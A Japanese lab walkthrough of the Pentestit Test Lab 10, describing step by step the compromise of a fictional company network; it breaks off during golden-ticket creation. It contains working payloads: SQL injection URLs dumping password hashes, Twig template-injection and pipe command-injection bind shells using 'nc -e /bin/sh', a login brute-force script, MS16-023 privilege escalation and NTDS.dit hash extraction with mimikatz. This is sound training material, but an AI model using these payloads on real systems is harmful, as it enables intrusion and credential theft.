グロヌバルデヌタセキュリティでのPentest-第10回Pentestitラボりォヌクスルヌ





Pentestit Labsは倚くの人々の䌝統ずなっおいたす。 毎幎5月ず11月に別の研究所が開蚭され、䞖界䞭の䜕千人もの愛奜家が新しい仮想銀行、゜フトりェア開発者、たたはISサヌビスプロバむダヌのネットワヌクを䟵害する最初の日になるたで䜕日も眠りたせん。



次回の11月25日に、今回は第10研究所が立ち䞊げられ、参加者は、情報セキュリティ分野の゜フトりェア開発者である架空の䌚瀟Global Data Securityのネットワヌクに䟵入するように求められたした。



ちょうど11日埌の12月6日、研究宀は、グロヌバルデヌタセキュリティネットワヌクの脆匱な各ノヌドにアクセスでき、特別なトヌクンPentestit Webサむトのコントロヌルパネルに入力する必芁のある文字ず数字の組み合わせを芋぀けた最初の参加者に合栌したした。



ただ研究宀を取り䞊げる時間がなかった人のために、それは2017幎5月たでアクティブになり、その埌既に発衚された11番目の研究宀に眮き換えられたす。 それたでの間、この蚘事では、2016幎末にペンテストスキルを磚き、珟圚の脆匱性に぀いお詳しく知りたいすべおの人のために、珟圚の研究宀を通過するすべおの段階に぀いお説明したす。 蚘事は長いこずが刀明したしたが、できれば興味深いものです。



免責事項
私はPentestitの埓業員でも関連䌚瀟でもありたせん。 このドキュメントでは、研究宀でのタスクを解決するために行った手順に぀いお説明したす。 私の個人的な掚奚事項ず奜みは、Pentestitの公匏意芋ずはたったく関係ありたせん。



このドキュメントのすべおの情報は、教育目的でのみ提䟛されおいたす。 この文曞を読み続けるこずで、あなたはこの情報を違法な目的に䜿甚しないこずに同意し、あなたずあなただけがこの文曞から埗られた行動たたは知識に察しお完党に責任があるこずを確認したす。 このドキュメントの䜜成者ずPentestitは、このドキュメントを読んだ結果埗られた知識ず方法を䜿甚した結果ずしお誰かに生じた損害に぀いお責任を負いたせん。



実隓宀ぞの接続



開始する前に、ラボに登録し、VPN接続を蚭定しお、仮想䌚瀟Global Data Securityのネットワヌクに接続する必芁がありたす。



ここに登録し 、接続するためにこれらの指瀺に埓っおください 。



テストのために、 Kali Linuxを仮想マシンにむンストヌルできたす。これは、ペンテスタヌ向けの特別なLinuxディストリビュヌションで、䜜業に必芁なものがすべお揃っおいたす。 あなたがそうしおいなければ、今がその時です。



テストを開始



登録ず接続埌、次のネットワヌク図が衚瀺されたす。





私たちの前には、192.168.101.9のIPアドレスを持぀ゲヌトりェむがありたす-䌚瀟の倖郚ゲヌトりェむです。 䌚瀟、その埓業員、補品、サヌビス、パブリックサむトおよびサブドメむンなどに関する受動的および胜動的な情報収集でペンテストを開始するず䟿利です。



受動的な情報収集ずは、䌚瀟のサヌバヌに盎接連絡するのではなく、Google、LinkedIn、data.com、GitHubなどの公的に利甚可胜な゜ヌスで情報を芋぀けようずするこずを意味したす。 倚くの堎合、倚くの興味深いものを芋぀けるこずができたす埓業員の名前は、内郚ネットワヌクでログむンを指瀺したす。GitHubでは、䌚瀟の補品たたはむンフラストラクチャの内郚構造をよりよく知るのに圹立぀゜ヌステキストを芋぀けるこずができたす。



残念ながら、この堎合、情報の受動的な収集では望たしい結果が埗られたせんでしたただし、 以前のラボではSSHタスクで非垞に有甚でしたので、情報の胜動的な収集、぀たり、利甚可胜な䌚瀟のリ゜ヌスずの盎接的なやり取りが必芁になりたす。



情報を収集したす



ゲヌトりェむを介しおアクセス可胜なポヌトをスキャンするこずから始めたす。







残りのTCPポヌトずUDPポヌトをスキャンするこずも圹立ちたす。これらはしばしば忘れられたすが、内郚VPN䟋 実隓宀8 などの倚くのサヌビスがありたす。 これは挔習ずしお残したすが、ここでは、すでに芋぀かった情報に集䞭したす。



その結果、SSHサヌバヌ、SMTPメヌルサヌバヌ、2぀のサむト、およびポヌト8100でのCommuniGate Proの圢匏の埓業員甚のWebむンタヌフェむスぞのアクセスが可胜になりたした。たず、サむトの調査から始めたしょう。



192.168.101.9にアクセスしようずするず、store.gds.labドメむンぞのリダむレクトを取埗したす。 どうやら、この仮想ホストを介しおサむトにアクセスでき、サむトに自動的にリダむレクトされたす。 / etc / hostsに必芁な行を远加したす。







念のため、gds.labも远加したした。 これでサむトが利甚可胜になりたした





OpenCartをベヌスにした店舗になる前に、次のこずがわかりたす。







同時に、それを攻撃するさたざたな詊みたずえば、XSSを芋぀けるか、OpenCartにある脆匱性の 1぀を䜿甚するがこのペヌゞに぀ながりたす。





どうやら、サむトはWebアプリケヌションファむアりォヌルを䜿甚しお保護されおいたす。 党䜓ずしお、少しの偵察の埌、次の情報に気付きたした。





仮想ホストgds.labを䜿甚しおポヌト80にアクセスしおみたしょう。







興味深いこずに、別のリ゜ヌス、ownCloudファむルホスティングを利甚できたす。 ペヌゞずメッセヌゞの゜ヌスコヌドを怜蚎した結果、正しい仮想ホストはcloud.gds.labであるこずがわかりたした。 hostsファむルに適切な倉曎を加えた埌、ナヌザヌ名ずパスワヌドを詊す機䌚を埗たす。







いいね いく぀かの組み合わせを手動で詊したずころ、暙準のパスワヌドは適切ではないこずがわかりたした。 同時に、OwnCloudには興味深い機胜がありたす。パスワヌドが間違っおいる堎合はパスワヌドをリセットでき、必芁なアカりントが存圚するかどうかによっお異なるメッセヌゞが衚瀺されたす。



アカりントがない堎合







アカりントが登録されおいる堎合







パスワヌドを取埗するこずはできないため、芋぀かったナヌザヌ名を蚘憶し、情報を収集し続けたす。今回は次のポヌトである443に進みたす。



192.168.101.9は 、残念ながら、https経由ではアクセスできず、次の圢匏のメッセヌゞが衚瀺されたす。



An error occurred during a connection to 192.168.101.9. SSL received a record that exceeded the maximum permissible length. Error code: SSL_ERROR_RX_RECORD_TOO_LONG
      
      





どうやらSSLで䜕か。 サむトの構成が䞍十分で、HTTP経由でアクセスできたす。







どうやら、これは䌚瀟のメむンサむトです。 最初のトヌクンを取埗しおみたしょう



å­Šç¿’site





サむトのペヌゞを慎重に調査した結果、明らかにGDSの開発者によっお䜜成されたものであり、WordPressのような既補のCMSを䜿甚しおいないこずがわかりたした。



倚くの脆匱性がナヌザヌ入力に関連しおいるので、利甚可胜な゚ントリポむントを芋おみたしょう。 䜏所を芋぀ける



 http://192.168.101.9:443/post.php?id=1
      
      





最埌に匕甚笊を1぀远加するず、サむトのメむンペヌゞにリダむレクトされたすが、2぀ある堎合は-いいえ。 SQLむンゞェクションのように芋えたす。 少し実隓しおみるず、条件が括匧内にあるこずがわかりたす。



 http://192.168.101.9:443/post.php?id=1') -- -
      
      





同時に、UNION SELECTを远加しようずしおも成功したせん。明らかに、サむトにはSQLむンゞェクション甚のフィルタヌがありたす。 暙準の倧文字ず小文字を区別する手法を䜿甚しお、それを回避しおみたしょう。



 http://192.168.101.9:443/post.php?id=-1') UNiOn SeLect 1, @@veRsiOn -- -
      
      





テヌブルを取埗したす。



 http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(TabLe_nAmE) FroM InfOrMatIoN_scHemA.TabLes WheRe TabLe_sCheMa=database() -- -
      
      





次に、フィヌルド



 http://192.168.101.9:443/post.php?id=-1') UNiOn seLeCT 1, GrouP_CONcaT(ColUmN_nAmE) FroM InfOrMatIoN_scHemA.ColuMns WheRe TabLe_NaME='users' -- -
      
      





そしお、ナヌザヌ名ずパスワヌドのハッシュ



 http://192.168.101.9:443/post.php?id=-1') UNiOn alL (seLeCT usErNAme, pAssWoRd FroM users liMIT 0,1) -- -
      
      









hashcatGPUを䜿甚する堎合は仮想マシンの倖郚が望たしいを䜿甚しおパスワヌドを回埩したす SecLists蟞曞を匷くお勧めしたす。





わかった dirsearchを䜿甚しお、/ adminフォルダヌに管理むンタヌフェむスを芋぀けたす。







そこで芋぀かったナヌザヌ名ずパスワヌドを入力するず、最初のトヌクンが取埗されたす。







--tamper = randomcaseオプションを有効にしたSQLMapでも同じ結果が埗られたすが、いずれにしおも最埌のク゚リを手動で実行する必芁がありたす。



mail



取る



サむトの調査䞭、調査プロセスで芋぀かったすべおの情報に泚意を払いたす。 情報の収集を停止せず、芋぀かったすべおの機胜を蚘録し続けるこずが非垞に重芁です。



特に、お問い合わせペヌゞには、2぀のアカりントに関する情報がありたす。







たた、メむンペヌゞには他の人ぞのリンクがありたす。







その結果、メヌルサヌバヌ甚に3぀のアカりントを取埗したす。



これらのナヌザヌのいずれかが蟞曞パスワヌドを䜿甚しおいるかどうかを確認したす。







ナヌザヌa.modlinのパスワヌドを取埗するこずが刀明したした。 ポヌト8100でWebベヌスのメヌルむンタヌフェむスを䜿甚したす。







これが次のトヌクンであるず同時に、Joshua WiseからのAndroidアプリケヌションず次の内容の手玙です。



。



IPアドレスずネットワヌク図から刀断するず、これを将来のために芚えおおきたしょう。このアプリケヌションはssh-test



トヌクンに圹立ちたす。



珟時点では、サむトポヌト443を慎重に怜蚎し、それを䜿甚しお2぀のトヌクンを取埗したした。さらに、80番目のポヌトで2぀の仮想ホストstore.gds.labずcloud.gds.labを芋぀けたした。 埌者はWAFによっお保護されおいるため、可胜なオプションが豊富にあるにもかかわらず、ロックが継続しおいるために脆匱性を芋぀けるこずはできたせんでした。



内郚ネットワヌクにアクセスしお、そこから続行しおみたしょう。



SSHサヌバヌ



倚くの堎合、ナヌザヌは異なるサヌビスで同じパスワヌドを䜿甚したす。 サむトにあるパスワヌドを䜿甚しお、e.lindseyからSSHサヌバヌにアクセスしおみたしょう。







わかった ホストにはnmapがあり、内郚ネットワヌク党䜓を利甚できたす。 トヌクンを探しお、すべおがそれほど単玔ではないこずを理解しおいたす。



サヌバヌには倚くの興味深いものがありたす。 ずりわけ、以䞋を芋぀けたす。



Linuxマシンを悪甚した堎合の非垞に䟿利な手順に぀いおは、 こちらをご芧ください 。 この堎合、SSHサヌバヌでの暩限昇栌は、実隓宀の䜜成者が意図したものではありたせんが、いずれの堎合でも、远加のスクリプト、構成蚭定、Webサむト、スケゞュヌラヌのタスク、接続されたファむルシステムなどのコンテンツを調査するこずは非垞に䟿利です。



サむトの構成にトヌクンがない堎合、/ data / usersフォルダヌに集䞭したす。







ご芧のずおり、rビットはありたせんが、xビットが存圚したす。぀たり、フォルダヌの内容を入力しお操䜜するこずはできたすが、そのリストは衚瀺できたせん。 りェブ䞊で同じタスクディレクトリリストがほずんど垞に無効になっおいる堎所に盎面するず、dirbやdirsearchなどのナヌティリティを䜿甚したす。これらのナヌティリティは、ディクショナリ内のファむルを開き、倚くの組み合わせを゜ヌトしたす。 ここでも同じこずを詊しおみたしょう。dirbから蟞曞を䜿甚できたす。



蟞曞で必芁なサブディレクトリずファむルを再垰的に詊す小さなスクリプトを䜜成したしょう。



 """Importing os to access file system""" import os PATH = "/data/users/" DICC = "/var/tmp/common.txt" def attempt_path(path): """Check if file or directory exists and print out the result. Return true if directory""" if os.path.isfile(path): print "Found file : " + path return False if os.path.isdir(path): print "Found dir : " + path return True return False def look_for_subdirs(path): """Recursive function to look for dirs""" with open(DICC) as dicc: for line in dicc: curr_path = path + line.rstrip('\n') if attempt_path(curr_path): look_for_subdirs(curr_path + "/") look_for_subdirs(PATH) print "Finished"
      
      





ここで、蟞曞を準備しおsshサヌバヌにアップロヌドする必芁がありたす。 1぀の方法は、蟞曞ずPythonコヌドをロヌカルWebサヌバヌに配眮し、wgetを䜿甚しおそれらからダりンロヌドするこずです。



/usr/share/dirb/wordlists/common.txt



kaliにあるdirbから蟞曞を取埗し、それにロヌカルナヌザヌの名前を远加するず同時に、token.txtファむルを远加したすどこかにあるこずを願っおいたす。











残念ながら、ホスト172.16.0.8からIPに盎接アクセスできないため、SSHトンネルを䜿甚したす。







泚意すべき点が2぀ありたす。



最初に、「localhost80」のリモヌト郚分぀たり、ロヌカルKaliマシンのポヌト80にあるものをロヌカルポヌトSSHサヌバヌ甚8765に転送するこずにより、リモヌトポヌト転送を行いたす。このコマンドラむンssh>を呌び出すこずができたす〜Cキヌの組み合わせを抌したすShiftキヌを抌しながら〜を抌しおからCを抌したす。



これで、ロヌカルWebサヌバヌがSSHホストで利甚可胜になりたした。 プロキシサヌバヌはサヌバヌでデフォルトで有効になっおいたす;ロヌカルポヌトの堎合は、 unset



削陀する䟡倀がありたす。



これで、スクリプトを実行する準備がすべお敎いたした。







フォルダヌ/data/users/rross/docs/



、トヌクンずSSHキヌrross-aが芋぀かりたした。 さらに、ナヌザヌa.modlinのSSHキヌがただ芋぀かりたした。 確かにそれらの1぀がssh-testに適合したす。 続けたしょう



ssh-test



を扱いssh-test





mail



トヌクンが芋぀かったずき、gds-authenticatorアプリケヌションのバヌゞョンが利甚可胜になりたした。



。

Alfred Modlin宛おの手玙からわかるように、サヌバヌに入るにはキヌたたはパスワヌド、および垞に倉化するSSHポヌト番号の2぀の芁玠が必芁です。 nmapを䜿甚しお開いおいるポヌトを簡単に芋぀けるこずができるため、2番目の芁因の有効性は非垞に疑わしいですが、それでもこのタスクを著者が提案する方法にしたす。 apkを解凍し、classes.dexを抜出したす。







次に、同じ名前のナヌティリティを䜿甚しお、dexをjarに倉換したす。







そしお最埌に、 JDデコンパむラを䜿甚しお゜ヌスを取埗したす。







  protected void setAuthCode() { String str = new HOTP().gen("WFLHQEBMJ3XLPDOY", (int)Math.floor(System.currentTimeMillis() / 1000L / 30L), 6); int i = Integer.parseInt(str.substring(-5 + str.length())); if (i > 65534) { i %= 65534; } TextView localTextView = (TextView)findViewById(2131492983); Object[] arrayOfObject = new Object[1]; arrayOfObject[0] = Integer.valueOf(i); localTextView.setText(String.format("%d", arrayOfObject)); }
      
      





ご芧のずおり、HOTPクラスも䜿甚されたす。これは、apkでも䜿甚でき、蚈算甚のシヌドずミリ秒が指定されおいたす。 必芁に応じお自動的にこれを行う方法を孊習するために、ポヌト番号を生成するコヌドを抜出しおみたしょう。







そしお、コンパむルしお実行したす







ポヌトがあり、1行でsshテストに接続するコマンドを曞くために残っおいたす。 /data/users/a.modlin/docs/key



をロヌカルフォルダヌに/data/users/a.modlin/docs/key



を䜿甚しおKaliマシンから内郚ネットワヌクにアクセスできるようにしたす。



sshuttle貧乏人のVPNずも呌ばれたすは、iptablesルヌルを䜿甚しお、sshトンネルを介しお内郚サブネットを䜿甚可胜にしたす。 私たちは次のように぀ながっおいたす。







接続するbashスクリプトを䜜成したしょう。



 #!/bin/sh ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i key a.modlin@172.16.0.1 -p$(java Main)
      
      





接続され、次のトヌクンが芋぀かりたす。







blog



攻撃する



ネットワヌク図から刀断するず、同瀟のブログは192.168.0.4にあり、クむックポヌトスキャンにより、開いおいる80番目のポヌトの存圚が確認されたす。 sshuttleを介しお接続し、ブログで芋぀けられるものを確認したす。







Joomlaむンストヌルのように芋えたす チェック







そうです。 Jumlaの最近のセンセヌショナルな脆匱性を詊しおみたしょう。これにより、認蚌なしで管理者アカりントを䜜成できたす。 この゚クスプロむトを参照により䜿甚するこずも、たずえばMetasploitのモゞュヌルを䜿甚するこずもできたす。







目的のナヌザヌの䞋に移動したす。







未公開の蚘事を怜玢





そしお、その゚むリアスをトヌクンの圢で䜿甚し、ブログは厩壊したした



キャプチャの解析



192.168.0.7の captchaを備えたサヌバヌでは、倚くは提䟛されたせん。画像がロヌドされおいない空癜のペヌゞだけです。 メむンの゜ヌスコヌドを少し勉匷した

ペヌゞ以前にsshuttleを䜿甚しおsshに接続しおいたに぀いお、次の結論を導き出すこずができたす。





これらのいずれも、次に䜕をすべきかに぀いおの盎接的なガむダンスを提䟛したせん。 dirsearchを䜿甚するず、興味深いこずがわかりたす。







robots.txtの内容に基づいお、隠されたbakファむルがあるこずを理解しおいたす。これは明らかに最も興味深いものです。







同時に、readme.txtは、写真が生成されおからしばらくしおから削陀されるず蚀っおいたす。



メむンペヌゞから画像ぞのパスを取埗したす。



 http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.png
      
      





非衚瀺のbakファむルを探しおいるため、png拡匵子をbakに眮き換えおみおください。



 http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/captcha.bak
      
      









どうやら、これは、゜ヌスコヌドのバックアップコピヌです。これは、シリアル化されたセッションを持぀captchaファむルず、セッションGETパラメヌタヌでコマンドを受け入れお実行するバックドアシェルを持぀ファむルがあるこずを瀺したす。



残念ながら、もう䞀床入力するず、これ以䞊ファむルはありたせん。 圌はどこに行きたしたか readme.txtを思い出しおください。しばらくするず削陀されたす。 䜕床か詊行した結果、/ index.phpを入力するずファむルが再び䜿甚可胜になるこずがわかりたす。 captcha.bakやその他のファむルを垞に利甚できるようにするために、これを垞に行う短いルヌプを䜜成したしょう。



 while true; do curl -i -s -k -b 'PHPSESSID=et07feiohsrnaf11n0kt31rf83' http://192.168.0.7/; done
      
      





ファむルが元の堎所に戻りたした。 ($_SESSION.php)?session=whoami



、コヌドをリモヌトで実行できるこずを確認したす。







次に、ポヌト1234のホスト192.168.0.7でバむンドシェルを䜜成したす。



 http://192.168.0.7/sources/43f1045f7bfd9bac63fc56dee0de5fc079b2e8a5b504548052de295444e71f5a496e1b931063b6e731844c2bfc2fd3f2cde4cd566d7c77c6e195a8b1362d9955f5ecc512b28eed353386bd0c07f7e17704ea3e4c59450e1b1c2a30e19bfacff4662cb0/($_SESSION).php?session=nc -e /bin/sh -nvlp 1234
      
      





そしおそれに接続したす







これが次のトヌクンです



hall-of-fame





192.168.0.8で開いおいるポヌトを調べたずころ、既知のハッカヌの説明ずログむン機胜を備えたサむトが芋぀かりたした。







サむトマップ、アクセス可胜なディレクトリず隠しディレクトリを調べ、利甚可胜なナヌザヌを特定しようずするこずから始めるず䟿利です。 残念ながら、ログむンフォヌムはよく知られた名前では機胜したせん。



http://192.168.0.8/index.php?hname=James



ようなアドレスに泚意が向けられhttp://192.168.0.8/index.php?hname=James



。これは、パラメヌタヌがLFIタむプの脆匱性ロヌカルファむルの包含の䟋であるこずが刀明する可胜性があるためです。 dirsearchに切り替えお、隠しディレクトリを芋぀けようずしたす。







ずりわけ、興味深いファむルが芋぀かりたした/backup/passwords.txt、および/ devサブフォルダヌは、基本認蚌の背埌で閉じられたした。 ログむンペヌゞでこれらのパスワヌドを䜿甚したす。







ログむン埌、/ dev郚分のパスワヌドを取埗したす。 それを䜿甚しお/ devに移動したす。







内郚には倖郚サむトのコピヌがありたすが、以前に疑われおいたパラメヌタヌhnameはサヌバヌ偎テンプレヌトむンゞェクションに察しお脆匱です。 ご芧のずおり、{{7 * 7}}ず入力するず、サヌバヌで蚈算されたペヌゞヘッダヌに操䜜の結果49が衚瀺されたす。 RCEを取埗したした。







攻撃自䜓は䞊蚘のリンクで詳现に調べるこずができ、バむンドシェルを䜜成するためにペむロヌドをコンパむルしようずしたす。 最初に、ナヌザヌ名を明確にしたす。







        bind shell: http://192.168.0.8/dev/index.php?hname={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nc -nvlp 1234 -e /bin/sh")}}
      
      





接続するず、次のトヌクンが芋぀かりたす







news



を読む



news192.168.0.5-グロヌバルデヌタセキュリティの次のサむト。倖芋は殿堂に䌌おおり、登録、ログむン、パスワヌドのリセット、内郚ニュヌスの孊習が可胜です。



ログむンフォヌムでは、電子メヌルずパスワヌドの入力を求められたす。





すでに芋぀かったナヌザヌa.modlin、e.lindseyなどのログむンずパスワヌドの既知の組み合わせをすべお詊したずころ、それらが登録されおいないこずがわかりたした-間違った電子メヌルメッセヌゞを受け取りたした。 同時に、admin @ gds.labを入力しようずするず、間違ったパスワヌドずいう別のメッセヌゞが衚瀺されたす。 これは、ナヌザヌadmin@gds.labが登録されおいるこずを意味したす。



Burp Suiteを䜿甚しお、admin @ gds.labのパスワヌドを芋぀けようずしたすが、これは成功に぀ながりたせん。 次に、再びdirsearchに目を向け、ニュヌスサむトに他に隠れおいるものを探したす。







/ oldフォルダヌ、およびその䞭に叀いバヌゞョンのニュヌスサむトがあり、そこには「単玔なナヌザヌ」、぀たりナヌザヌの存圚を瀺唆する興味深いコメントがありたす。







掚枬を確認したしょう。 / oldにログむンしおも䜕もおもしろいものにはなりたせんが、user @ gds.labでナヌザヌパスワヌドを䜿甚しお新しいニュヌスサむトにアクセスするず、次のペヌゞが衚瀺されたす。







さお、トヌクンを取埗するために管理者の䞋に行くこずは残っおいたす。 新しいペヌゞ-user_info.phpの存圚に぀いお孊習したばかりです。このペヌゞの叀い郚分を芋おみたしょう。







䜕床か詊行した結果、このアドレスを䜿甚しお管理者ずしおログむンしようずするずログむンできなくなりたすが、user_info.phpの出力は倉曎されるこずを理解しおいたす。



 http://192.168.0.5/old/login_2.php?username=admin&password=admin
      
      









それは、実際、私たちは入った ただし、新しいuser_info.phpにより、内郚に入るこずができなくなりたした。



これから、2぀のサむトが同じセッションを䜿甚しおいるず結論付け、ナヌザヌに関する情報をそのセッションに保存できたす。 どうやら、/叀いを入力しようずするず、セッションのナヌザヌ名フィヌルドにナヌザヌ名が保存され、パスワヌドが正しくない堎合は単にuser_info.phpにリダむレクトされたせん正しいパスワヌドでログむンに成功した埌にのみナヌザヌ名を保存するのではなく。 /叀いサむトにはこれで十分ですが、新しいサむトはただメヌルを䜿甚しおいるため、user_info.phpにアクセスできたせん。



adminナヌザヌのパスワヌドをリセットしおみたしょう。



 http://192.168.0.5/password_restore_2.php?email=admin@gds.lab
      
      





プログラマヌがパスワヌドリセットフォヌムで同じ間違い぀たり、セッションで電子メヌルを保存したを期埅しお、管理者ずしおログむンするためにセッションで正しい電子メヌルアドレスを保存しようずしたす。



党䜓ずしお、プロセス党䜓は次の手順で構成されたす。



ログむンに成功するず、トヌクンを取埗したす䞋のスクリヌンショットで切り取りたす。







そしお今、ニュヌスは屈服したした



web-control



を取埗しweb-control





通垞どおり、ポヌトスキャンから始めたしょう。そのために、SSHホストで提䟛されおいるnmapを䜿甚したす。





80番目のポヌトを調べたずころ、メヌルを収集するためのフォヌムさらには機胜したせん、および/ uploadsフォルダヌ興味深いものは䜕も芋぀かりたせんでしたを陀いお、興味深いものは芋぀かりたせんでした。



非暙準のポヌト1503に泚目したしょう。これを調べるには、接続しおみおください。



 nc 192.168.0.6 1503
      
      









どうやら、ログむンずパスワヌドの組み合わせを遞択する必芁がありたす。 ssh、殿堂、メヌルで私たちに知られおいるパスワヌドを詊しおみたしたが、私たちはすべおがそれほど単玔ではないこずを理解し、小さなスクリプトを曞く必芁がありたす



 """Sockets""" import socket WEB_CONTROL_HOST = '192.168.0.6' WEB_CONTROL_PORT = 1503 USER_FILE = '/root/pentestit/webc/users.txt' PASS_FILE = '/opt/SecLists/Passwords/john.txt' def recv_until(string, sock): """Receives data from socket until certain string is found""" data = "" while True: tmp = sock.recv(1) if tmp == "": break data += tmp if data.endswith(string): break return data def attempt_login(user, password): """Attempts to log in under a specified account""" # This should not connect every time and should be multi-threaded in an ideal world web_control = socket.socket(socket.AF_INET, socket.SOCK_STREAM) web_control.connect((WEB_CONTROL_HOST, WEB_CONTROL_PORT)) reply = recv_until("Enter login: ", web_control) web_control.send(user) reply = recv_until("Enter password: ", web_control) web_control.send(password) reply = web_control.recv(6) web_control.close() return "Error!" not in reply with open(USER_FILE) as user_file: for user_line in user_file: with open(PASS_FILE) as pass_file: for pass_line in pass_file: if attempt_login(user_line, pass_line): print "Success: " + user_line.rstrip('\n') + ":" + pass_line.rstrip('\n')
      
      





ナヌザヌずしお、sshで知っおいるアカりントずいく぀かの暙準名を曞きたす。



 admin administrator root user k.barth m.howard g.leone j.wise s.locklear e.lindsey a.modlin
      
      





スクリプトを実行しお実行し、しばらくするず目的の結果が埗られたす。







わかった 必芁なログむンずパスワヌドを入力した埌、私たちはいく぀かのスクリプトを起動するための自己蚘述ツヌルになったこずを理解しおいたす。



倚くの脆匱性は、䞍十分に怜蚌されたナヌザヌ入力に関連しおいたす。コマンドむンゞェクションを達成しおみたしょう。 入力がシステムに枡される堎合、区切り文字-;、、たたは|を䜿甚しお远加のコマンドを远加できたす。 やっおみたしょう







|を陀くすべおがフィルタヌ凊理されたすが、明らかに開発者が芋逃しおいたした。 チヌムの䜿甚| nc -nvlp 1234 -e /bin/sh



| nc -nvlp 1234 -e /bin/sh



、Webコントロヌルにバむンドシェルを䜜成したす。 これで、接続しおトヌクンを芋぀けるだけになりたす。



 nc 192.168.0.6 1234 cat /var/opt/token.txt
      
      





トヌクンstore





ネットワヌク図からわかるように、ストアは2぀のホスト-172.16.0.4運甚ず172.16.0.5開発で衚されたす。 さらに、ストアのコピヌはsshホストの/ var / www /フォルダヌにありたす。



/ var / wwwの内容を怜蚎しお、次の結論を導き出したす。



Hashcatは最近、OpenCart圢匏のハッシュを遞択する機胜を远加したした。 詊しおみたしょう



残念ながら、十分に倧きな蟞曞でもパスワヌドを芋぀けるこずはできたせん。



私たちはストアず開発ストアに泚意を向けたす-おそらく圌らは远加の隠しファむルを持っおいるか、OpenCartの叀い脆匱なバヌゞョンを䜿甚しおいたす。 しばらくしお、dev-storeマシンでのSQLむンゞェクションを発芋したした。これはsshやstoreにはありたせんでした。明らかに、 脆匱性を持぀叀いバヌゞョンがこのサヌバヌに残っおいたようです。



確認するには、゚ントリを远加しおhostsファむルを倉曎したす。



 172.16.0.5 store.gds.lab
      
      





SQLmapを実行したす。

 sqlmap -u 'http://store.gds.lab/index.php?route=product/product&product_id=53*' --sql-shell
      
      









dev-storeのデヌタベヌスにアクセスしたした。 残念ながら、ファむルシステムぞのアクセスは制限されおいたす/ etc / passwdの読み取りや、OUTFILEを介したファむルぞの曞き蟌みは機胜したせん。したがっお、トヌクンは盎接デヌタベヌスにありたす。







そしお今、店が奪われたした



win-term



å­Šç¿’



さらに進むには、参加者は4日以䞊必芁でしたが、い぀ものように、はちょうど開きたした。 珟時点では、3぀のトヌクン win-term, win-dc0



、 cloud



が未解決のたたです。



WindowsタヌミナルずドメむンコントロヌラヌDC0のポヌトをスキャンした結果、远加のサヌビスは開いおおらず、Windowsのバヌゞョンは2008 R2であり、コヌド実行の取埗を蚱可する既知の脆匱性は存圚したせん。 それにもかかわらず、win-termはRDPの脆匱性を䜿甚しおリロヌドできるため、曎新プログラムが長時間むンストヌルされおいないず刀断できたす。 これは、マシンに入った埌に管理者に特暩をアップグレヌドするこずはおそらくそれほど難しくないこずを意味したす。



蟞曞でパスワヌドを列挙しおも、どのアカりントでも目的の結果が埗られたせん。 念のため、以前に芋぀かった資栌情報がドメむンに存圚するこずを確認しおください。







すべおが敎っおいたす。この段階では、a.modlinずe.lindseyの2人のナヌザヌのパスワヌドがありたす。e.lindseyのパスワヌドを倉曎しお、暙準のドメむンポリシヌに準拠し、倧文字ず小文字、数字が含たれるようにしたす。e.lindseyパスワヌドの最初の文字を倧文字にするこずから始めたしょう。



 rdesktop 192.168.0.3 -u "GDS-OFFICE\\e.lindsey" -p "**********" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD
      
      









接続できたよく知られおいる脆匱性MS16-023を䜿甚しお、管理者の特暩を増やしたしょう。このコヌドをexeファむルずしおコンパむルしたしたが、PowerShellでも実行できたす。以䞋を開始したす。







結果の管理コン゜ヌルで、別のナヌザヌを䜜成し、䜙分なファむルを削陀しお、ロヌカル管理者の䞋に移動したす。



 rdesktop 192.168.0.3 -u "TermAdmin" -p "Admin123" -r disk:share=/root/pentestit/term -r clipboard:PRIMARYCLIPBOARD
      
      









管理者には、TrueCryptずキヌを䜿甚しお暗号化されたディスクを接続するスクリプトがありたす。 以䞋を開始したす。







登堎したドラむブXには、キヌを含むKeePassデヌタベヌス







がありたす。その䞭には、rrossアカりントからクラりドぞのパスワヌドず、埅望のトヌクンがありたす。







ドメむン管理者の暩利を取埗したす win-dc0





端末の内容を確認する匕き続き、我々はバックアップディスクのドメむンコントロヌラずフォルダを芋぀ける







サヌバ管理コン゜ヌルにVHDファむルを添付







次に、ファむルをコピヌWindows\NTDS\Ntds.dit



し、Windows\System32\config\SYSTEM



ロヌカルカヌリヌ・マシンに新しく接続されたVHDで。







続行する前に、NTDS.ditテヌブルを操䜜するための特別なナヌティリティlibesedbおよびNTDSXtractをむンストヌルしお準備する必芁がありたす。次の方法でそれらをむンストヌル/遞択できたす



 cd /opt git clone https://github.com/libyal/libesedb.git cd libese/ apt-get install git autoconf automake autopoint libtool pkg-config build-essential ./synclibs.sh ./autogen.sh ./configure make make install cd .. git clone https://github.com/csababarta/ntdsxtract.git
      
      





これですべお準備完了です。たず、䜿甚しおのNtds.ditから抜出テヌブルesedbexport











NTDSXtract䜿甚ntds.dit.exportたディレクトリに抜出ハッシュぞ







このコマンドの結果は、新しいフォルダのダンプで抜出されたハッシュnt.john.outファむルを取埗/







時々抜出された管理ハッシュからパスワヌドを回埩できる堎合は、ここで停止できたす。この堎合、これはバックアップであるため、パスワヌドは無効になりたす。したがっお、Pass the Ticketptt攻撃を䜿甚したす。この攻撃では、krbtgtアカりントのハッシュを䜿甚しお、いわゆるゎヌルデンチケットを生成したす。



これを行うには、mimikatzをタヌミナルにダりンロヌドし、管理者暩限で実行したす。







ゎヌルデンチケットを䜜成するには、ドメむンSIDlsadump::lsa



䞊蚘のスクリヌンショットのコマンドを䜿甚しお取埗、ドメむン管理者アカりント名NTDS.ditから取埗、krbtgtアカりントのハッシュ䞊蚘も取埗、および管理者が属するグルヌプの名前暙準倀500、501、513、512、520、518、519。



この情報を䜿甚しお、ゎヌルデンチケットを䜜成しお適甚したす。



